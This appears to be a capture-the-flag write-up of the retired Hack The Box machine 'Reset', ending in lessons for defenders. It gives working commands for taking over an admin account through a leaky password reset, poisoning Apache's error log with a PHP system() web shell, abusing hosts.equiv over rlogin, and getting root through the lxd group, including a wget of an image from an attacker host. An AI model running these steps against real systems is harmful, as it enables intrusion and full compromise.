root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat reset.md
// writeups

Reset

15 Jul 2025 · 6 min read
Reset - maquina de Hack The Box

Executive summary — Reset is a Linux Easy box with a PHP admin panel and, unusually, the legacy r-services (rexec/rlogin/rsh) exposed. The password-reset endpoint returns the freshly generated password in its own JSON response, which hands over the admin account. The dashboard's log viewer include()s files under /var/log/, so PHP planted in Apache's error log executes: remote code execution as www-data. A permissive /etc/hosts.equiv entry (+ sadm) then allows passwordless rlogin, including as local, a member of the lxd group, which is root by way of a privileged container that mounts the host filesystem.

PlatformHack The Box
OSLinux (Ubuntu 22.04)
DifficultyEasy
StatusRetired
Services22 (SSH), 80 (Apache 2.4.52, PHP), 512/513/514 (rexec / rlogin / rsh)
TechniquesPassword-reset information leak, LFI via include() plus log poisoning, r-services trust abuse, LXD group privesc

Attack map

[80/HTTP] Admin Login -> reset_password.php returns the new password
        |  password reset for 'admin' -> login to dashboard.php
        v
[Dashboard] log viewer: include() limited to /var/log/
        |  log poisoning: PHP in the request path -> error.log
        v
RCE as www-data (group adm)  ->  user.txt (readable, mode 644)
        |  /etc/hosts.equiv contains '+ sadm'
        v
[512-514] r-services: passwordless rlogin as sadm, then as 'local'
        |  'local' is in the lxd group
        v
[LXD] privileged container mounting / -> SUID /bin/bash  ->  ROOT

1. Reconnaissance

nmap -Pn -p- --min-rate 1500 -T4 <TARGET_IP>
nmap -Pn -sCV -p 22,80,512,513,514 <TARGET_IP>

Beyond the usual SSH (OpenSSH 8.9p1) and Apache 2.4.52 serving an "Admin Login" page written in PHP, the scan shows ports 512, 513 and 514: the netkit r-services (rexec, rlogin, rsh). They are obsolete and rely on host- and user-based trust instead of passwords, which makes them worth remembering for later.

2. Web: a password reset that leaks the password

The login page has a "Forgot Password" modal that POSTs to reset_password.php. Calling it directly shows what it returns:

curl -s -d "username=admin" http://<TARGET_IP>/reset_password.php
# {"username":"admin","new_password":"e400e2c9","timestamp":"..."}

The endpoint generates a new password (8 hex characters, bin2hex(random_bytes(4))), applies it, and returns it in the response. Anyone who knows a username can reset that account and read the new credential in the same request:

PW=$(curl -s -d "username=admin" http://<TARGET_IP>/reset_password.php \
     | grep -oP '"new_password":"\K[^"]+')
curl -s -c cj.txt -b cj.txt -d "username=admin&password=$PW" http://<TARGET_IP>/
# -> 302 to dashboard.php

3. Dashboard: include() of logs → RCE by log poisoning

dashboard.php has a log viewer that takes a file POST parameter and runs include($file) on it, behind a filter: the path must start with /var/log/ and may not contain ... /etc/passwd is rejected ("Invalid file path"), but /var/log/apache2/access.log is accepted and, because it goes through include(), it is executed as PHP: a User-Agent of <?php echo 3*13;?> showed up as 39.

Gotcha: Apache escapes double quotes in the User-Agent (\"). A payload like $_REQUEST["cmd"] becomes $_REQUEST[\"cmd\"], which is a PHP parse error, and since the log is now permanently broken, the attempt burns access.log for good. The fix is to use single quotes (Apache leaves them alone) and to poison error.log instead, by requesting a non-existent .php whose name is the payload.

# inject <?php system($_REQUEST['cmd']); ?> into error.log (as 'script not found')
ENCPATH="/%3C%3Fphp%20system(%24_REQUEST%5B'cmd'%5D)%3B%20%3F%3E.php"
curl -s --path-as-is "http://<TARGET_IP>${ENCPATH}"

# execute it through the log viewer
curl -s -b cj.txt --data-urlencode "file=/var/log/apache2/error.log" \
     --data-urlencode "cmd=id" http://<TARGET_IP>/dashboard.php
# uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)

A small helper makes the rest of the enumeration comfortable, stripping the HTML around the command output:

run(){ curl -s -b cj.txt --data-urlencode "file=/var/log/apache2/error.log" \
  --data-urlencode "cmd=echo RCESTART; $1 2>&1; echo RCEEND" \
  http://<TARGET_IP>/dashboard.php | tr -d '\r' \
  | awk '/RCESTART/{f=1;next}/RCEEND/{f=0}f' | sed 's/<[^>]*>//g'; }

www-data belongs to the adm group and /home/sadm/user.txt is world-readable (644), so the user flag is already within reach from this shell.

4. Lateral movement: r-services and hosts.equiv

run 'cat /etc/hosts.equiv'
# - root
# - local
# + sadm      <- trusts the user "sadm" from any host
run 'grep sh$ /etc/passwd'      # local (uid 1000), sadm (uid 1001)

A line of the form + user in /etc/hosts.equiv means "trust that user coming from any host", with no password. To exploit it, the connection has to originate from a local account named sadm (so the remote user presented is sadm), and rlogin is the right client because it works over a single channel.

sudo useradd -m -s /bin/bash sadm
printf 'id\nexit\n' > /tmp/rcmds.txt
cat <(echo kali) /tmp/rcmds.txt | sudo -S -u sadm python3 -c \
  'import pty; pty.spawn(["rlogin","-l","sadm","<TARGET_IP>"])'
# -> uid=1001(sadm)    (no password)

rlogin insists on a TTY, hence pty.spawn. sudo -S consumes the first line (the local account's password) and the remaining stdin reaches the PTY as commands. rsh fails here ("Didn't receive NULL byte") because it needs a secondary stderr channel from server to client, which never makes it back.

The trust is loose enough to impersonate any user, not just sadm: rlogin -l local (still with ruser=sadm) logs in as local:

cat <(echo kali) /tmp/rcmds.txt | sudo -S -u sadm python3 -c \
  'import pty; pty.spawn(["rlogin","-l","local","<TARGET_IP>"])'
# uid=1000(local) groups=...,27(sudo),110(lxd)

local is in sudo (which asks for a password we don't have) and, more usefully, in lxd.

5. Root: LXD group privilege escalation

LXD (snap) is installed but not initialised. Membership of the lxd group allows creating containers, and a privileged container can mount the host's root filesystem: root inside the container is root over the host's files. The classic route uses a prebuilt Alpine image, served from Kali:

# Kali
curl -sL -o alpine-lxd.tar.gz https://github.com/saghul/lxd-alpine-builder/raw/master/alpine-v3.13-x86_64-20210218_0139.tar.gz
python3 -m http.server 8000 --bind <ATTACKER_IP>
# on the box, as 'local'
wget http://<ATTACKER_IP>:8000/alpine-lxd.tar.gz -O /tmp/al.tar.gz
lxc image import /tmp/al.tar.gz --alias pwn
lxd init --auto
lxc init pwn c1 -c security.privileged=true
lxc config device add c1 hostroot disk source=/ path=/mnt/root recursive=true
lxc start c1
lxc exec c1 -- chmod u+s /mnt/root/bin/bash     # SUID on the host's bash

The host's /bin/bash is now SUID root, so running it with -p (which keeps the effective UID) gives root. The root flag has a non-standard, randomised name, so it has to be located with find:

/bin/bash -p -c 'find / -name "root*.txt" 2>/dev/null; cat /root/root_279e22f8.txt'

Vulnerability summary

PhaseComponentVulnerabilityImpact
Webreset_password.phpReset returns the new password (CWE-640 / CWE-200)Takeover of admin
WebDashboard log viewerinclude() of logs plus log injection (CWE-98 / CWE-117)RCE as www-data
Lateral/etc/hosts.equiv+ sadm trust entry (CWE-284 / CWE-286)Passwordless login as sadm and local
RootGroup lxdPrivileged container mounting / (CWE-250 / CWE-269)Root on the host

Lessons

  • A reset flow must never echo the secret it creates. The new credential belongs in a channel the account owner controls, not in the response to whoever asked.
  • Log files are an input channel. Including a log through include() turns anything an attacker can get written into it into code. Quote handling decides whether the poisoning works: here, double quotes were escaped and burned the log, single quotes survived.
  • The r-services are trust, not authentication. A + user line in hosts.equiv lets that identity in from anywhere, and here it extended to impersonating other accounts. Retire them in favour of SSH.
  • The lxd group is equivalent to root. Treat membership like a sudo-all grant.